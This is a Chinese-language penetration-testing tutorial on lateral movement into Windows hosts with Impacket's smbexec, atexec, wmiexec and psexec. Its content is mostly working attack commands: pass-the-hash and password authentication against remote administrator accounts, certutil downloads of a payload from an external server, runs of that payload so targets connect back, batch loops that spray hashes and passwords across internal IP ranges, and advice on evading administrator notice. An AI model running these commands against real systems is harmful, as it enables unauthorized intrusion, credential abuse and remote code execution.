标题 简介 类型 公开时间
关联规则 关联知识 关联工具 关联文档 关联抓包
参考1(官网)
参考2
参考3
详情
[SAFE-ID: JIWO-2024-3407]   作者: ecawen 发表于: [2024-07-13]

本文共 [74] 位读者顶过

No.1 [出自:jiwo.org]

声明

由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测以及文章作者不为此承担任何责任。

雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经雷神众测允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。

No.2

前言

Impacket官方介绍为用于处理网络协议的Python类的集合,该集合包含了渗透测试中常见的工具种类,包括远程命令执行、信息收集、票据传递、凭据获取、中间人攻击测试等。该套件里的工具使用也是linux主机跳向windows主机的方式之一。

本篇文章主要讲解Impacket套件内远程命令执行工具在实际工作中的使用,其中包含全交互式工具(通常适用于内网环境下或socks代理环境下)、半交互式工具(通常适用于webshell环境下)。应用环境如下。

1.已有权限主机(包含webshell)不可出外网。

2.已获取到一些NTLM哈希字符串,但解不出明文密码,无法通过ipc、rpd等登陆目标主机。

3.已有权限主机可以出网,但出于某些原因需要在socks代理或端口转发的环境下进行内网渗透测试。

Impacket套件里远程命令执行工具均支持密码、NTLM、票据认证,本文将会讲到密码和NTLM的使用方式,票据认证使用方式会在后续Impacket票据工具使用中详细讲解。

以下测试环境为

已有权限主机:192.XXX.X.144 (win2012)

目标主机:192.XXX.X.76 (win8.1)

测试反弹、下载外网vps ip: 10x.xx.xx.x7

已掌握情况为:当前已获取部分ntlm哈希、密码,并尝试内网横向扩展。

No.3

smbexe

smbexe为全交互式工具,所以不可用于webshell环境,可用于rdp等有交互环境登录使用或socks代理环境下使用。

此处测试环境独立于本篇文章测试环境,仅为说明,本篇文章内Impacket工具使用认证的账号rid必须为500,从winows 2008开始(包括2008),rid不为500的用户,windows都不允许远程连接(包括net use、at、winrm等),所以如果想对目标机远程执行命令,必须使用目标机rid 500的账号(通常为administrator)或域管账号。

通过查看wrw账号,发现该用户处于administrators组

如下图 执行以下两条操作,可发现使用管理组账号wrw进行smbexec.py远程执行命令操作会提示权限不足。

python smbexec.py ./administrator:Win2008@192.XXX.229.157

python smbexec.py ./wrw:Win2008@192.XXX.229.157

以下内容继续在测试环境测试

在socks网络环境下(图中所示socks工具为proxifier),使用NTLM hash认证对远程主机192.XXX.3.76执行命令,smbexec产生一个伪交互的cmd shell

smbexec.exe -hashes :DF92E298362E3E180EC0EE7226AFB825 ./administrator@192.XXX.3.76

在socks网络环境下(图中所示socks工具为proxifier),使用域管账号NTLM hash认证对远程主机192.XXX.3.76执行命令,smbexec产生一个伪交互的cmd shell

smbexec.exe -hashes :518b98ad4178a53695dc997aa02d455c rootkit/administrator@192.168.3.76

在socks网络环境下(图中所示socks工具为proxifier),使用域管账号密码认证对远程主机192.168.3.76执行命令,smbexec产生一个伪交互的cmd shell

smbexec.exe

rootkit/administrator:admin!@#45@192.168.3.76

在socks网络环境下(图中所示socks工具为proxifier),使用local主机密码认证对远程主机192.168.3.76执行命令,smbexec产生一个伪交互的cmd shell

smbexec.exe

./administrator:Win2008@192.168.3.76

在交互shell下,下载可执行程序(msf、cs等任意文件)

certutil -urlcache -split -f

http://10x.xx.xx.x7:8080/lib8.exe

No.4

atexec

atexec是通过windows计划任务执行远程命令,atexec是一个半交互的工具,即参数中添加需要在远程主机执行的命令,工具执行后即返回命令结果,适用于webshell下,也适用于其他网络环境。

某些情况下,当获取到webshell之后,发现该主机不可出外网,且无法创建内网代理,只能通过webshell进行内网渗透测试, 如下图,在蚁剑客户端运行atexec,在远程机器上执行任意命令

atexec.exe

./administrator:Win2008@192.168.3.76 "whoami"

atexec.exe

./administrator:Win2008@192.168.3.76 "ipconfig"

如果网络环境为已有内网socks代理环境,在socks网络环境下(图中所示socks工具为proxifier),可使用密码认证对远程主机192.168.3.76执行命令

atexec.exe

./administrator:Win2008@192.168.3.76 "whoami"

在socks网络环境下(图中所示socks工具为proxifier),使用NTLM hash认证对远程主机192.168.3.76执行命令

atexec.exe -hashes :DF92E298362E3E180EC0EE7226AFB825 ./administrator@192.168.3.76 "whoami"

在socks网络环境下(图中所示socks工具为proxifier),使用域管帐户密码认证对远程主机192.168.3.76执行命令,下载可执行程序(如msf、cs、其他任意文件,如密码获取、信息收集等)

atexec.exe

rootkit/administrator:admin!@#45@192.168.3.76 "certutil -urlcache -split -f http://10x.xx.xx.x7:8080/lib8.exe"

在上图下载可执行程序情况下,使用域管帐户密码认证远程执行该程序,使主机反向回连

atexec.exe

rootkit/administrator:admin!@#45@192.168.3.76 "lib8.exe"

在上图下载可执行程序情况下,在linux主机下,使用proxychains代理工具,使用atexec远程执行该程序,使主机反向回连

注意此处,admin!@#45密码中的"!"需要转义,否则会报错。

proxychains python atexec.py rootkit/administrator:admin\!@#45@192.168.3.76 "lib8.exe"

使用远程主机NTLM hash认证对远程主机192.168.3.76执行命令

atexec.exe -hashes

:518b98ad4178a53695dc997aa02d455c rootkit/administrator@192.168.3.76 "whoami"

由此可以写一些简单bat脚本,如批量对内网机器遍历做hash传递验证、指定主机ntlm hash遍历验证、内网机器遍历做密码验证、指定主机密码遍历验证。

内网机器遍历做hash传递验证,ips.txt内容为内网ip,每段一条

FOR /F %%i in (ips.txt) do atexec.exe -hashes :DF92E298362E3E180EC0EE7226AFB821 ./administrator@%%i whoami

指定主机ntlm hash遍历验证,hashes.txt为已知ntlm hash内容,每段一条

FOR /F %%i in (hashes.txt) do atexec.exe -hashes %%i ./administrator@192.168.3.76 whoami

内网机器遍历做密码验证,passwords.txt为已知密码内容,每段一条

FOR /F %%i in (passwords.txt) do atexec.exe ./administrator:%%i@192.168.3.76 whoami

指定主机密码遍历验证,ips.txt内容为内网ip,每段一条

FOR /F %%i in (ips.txt) do atexec.exe ./administrator:password123@%%i whoami

No.5

wmiexec

wmiexec是一个即有全交互也有半交互的远程命令执行工具,可运用于多种环境,包括webshell环境、rdp环境、socks环境等。

在webshell下,使用域管理员账号密码认证对远程主机192.168.3.76执行命令

wmiexec.exe

rootkit/administrator:admin!@#45@192.168.3.76 whoami

在socks网络环境下(图中所示socks工具为proxifier),使用NTLM HASH认证对远程主机192.168.3.76执行命令

wmiexec.exe -hashes :DF92E298362E3E180EC0EE7226AFB825 ./administrator@192.168.3.76 whoami

在socks网络环境下(图中所示socks工具为proxifier),使用NTLM HASH认证对远程主机192.168.3.76执行命令,wmiexec 产生一个伪交互的cmd shell

wmiexec.exe -hashes :DF92E298362E3E180EC0EE7226AFB825 ./administrator@192.168.3.76

在linux主机下,使用proxychains代理工具,使用wmiexec对远程主机192.168.3.76执行命令

proxychains python wmiexec.py rootkit/administrator:admin\!@#45@192.168.3.76 whoami

在socks网络环境下(图中所示socks工具为proxifier),使用帐号密码认证对远程主机192.168.3.76执行命令

wmiexec.exe

./administrator:Win2008@192.168.3.76 whoami

wmiexec也与atexec一样,可写脚本批量执行命令

No.6

psexec

impacket套件内的psexec是一个即有全交互也有半交互的远程命令执行工具,可运用于多种环境,包括webshell环境、rdp环境、socks环境等。

psexec.exe始于微软的pstools套件, 用于管理员远程管理windows主机资产,在渗透测试中也经常用来对远程计算机执行命令。

与微软官方的psexec.exe做对比,官方psexec.exe执行远程命令会在远程主机创建一个PSEXEC的服务,并且命令执行后会一直存在,容易被管理人员发现并判断有入侵行为。impacket套件内的psexec,执行命令之后会删除对应的服务,隐蔽性更佳,而且impacket套件内的psexec支持PTH(哈希传递)。

与官方psexec相同,impacket套件内的psexec也支持"-c"参数,参数解释如下,即复制本地可执行文件到远程主机并执行

-c pathname copy the filename for later execution, arguments are

passed in the command option

下文所讲述的是impacket套件内的psexec使用方法

在linux主机下,使用proxychains代理工具,使用psexec.py远程执行命令

proxychains python psexec.py ./administrator:Win2008@192.168.3.76

在psexec执行过程中,在远程主机192.168.3.76查看服务,发现创建了一个rwzH的服务

psexec执行完毕后,再在远程主机192.168.3.76查看服务,发现rwzH服务已不存在,psexec已自动删除自己创建的服务

在socks网络环境下(图中所示socks工具为proxifier),使用NTLM HASH认证对远程主机192.168.3.76执行命令

psexec.exe -hashes :DF92E298362E3E180EC0EE7226AFB825 ./administrator@192.168.3.76 "whoami"

在linux主机下,使用proxychains代理工具,使用psexec.py远程执行命令,注意密码内的"!"需要转义。

proxychains python psexec.py rootkit/administrator:admin\!@#45@192.168.3.76 whoami

下面使用"-c"参数远程加载可执行程序,使目标主机反向回连。

execute.exe放到与psexec.exe相同目录。

首先创建exe可执行文件服务端。

在socks网络环境下(图中所示socks工具为proxifier),使用帐户密码对远程主机192.168.3.76执行命令,使用"-c"参数。

psexec.exe

rootkit/administrator:admin!@#45@192.168.3.76 -c execute.exe

在socks网络环境下(图中所示socks工具为proxifier),使用NTLM HASH认证对远程主机192.168.3.76执行命令,使用"-c"参数。

psexec.exe -hashes :DF92E298362E3E180EC0EE7226AFB825 ./administrator@192.168.3.76 -c execute.exe

如下图,目标主机已正常回连,由于目标主机是双网卡主机,显示内网ip为另外一块网卡的ip。

如果执行的命令需要耗费比较长时间,或加载可执行程序,在webshell执行psexec.exe可能会收不到回显信息(webshell执行命令有超时时间),所以建议把命令执行结果写到一个文件,然后查看文件内容即可。

psexec.exe -hashes :DF92E298362E3E180EC0EE7226AFB825 ./administrator@192.168.3.76 "netstat -an" >log.txt

命令执行回显内容

impacket套件内的psexec也与atexec一样,可写脚本批量执行命令。

评论

暂无
发表评论
 返回顶部 
热度(74)
 关注微信